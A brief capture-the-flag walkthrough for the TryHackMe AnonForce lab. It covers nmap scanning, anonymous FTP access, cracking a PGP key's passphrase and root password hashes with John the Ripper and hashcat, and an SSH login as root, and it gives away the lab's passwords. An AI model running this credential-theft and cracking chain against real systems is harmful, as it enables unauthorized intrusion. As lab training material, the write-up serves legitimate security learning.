TRYHACKME: ANONFORCE

Add IP to hosts:

nano /etc/hosts

Recon:

Nmap:

nmap -sC -sV -vv [MACHINE_IP] -T 4

Discovered Ports : 22 – SSH

21 - FTP - Anonymous Login Allowed

OS : Linux

Login to **ftp**:

ftp anonymous@[MACHINE_IP]

ftp> get /home/melodias/user.txt ---------- USER FLAG

Browsing some local files:

cd **/notread**

get **private.asc**

get **backup.pgp**

crack the key using **JohnTheRipper**:

 # gpg2john private.asc > forjohn

john --wordlist=/usr/share/wordlists/rockyou.txt forJohn

cracked password: '**xbox360**'

gpg **--decrypt** backup.pgp > forhashcat

If you look at the file, you'll find multiple hashes to the users:

Lookup for hash-mode on "***https://hashcat.net/wiki/doku.php?id=example_hashes***"

 # hashcat -m 1800 forhashcat /usr/share/wordlists/rockyou.txt

password found for root "hikari"

ssh root@[MACHINE_IP]

password: hikari

cat root.txt ---------- ROOT FLAG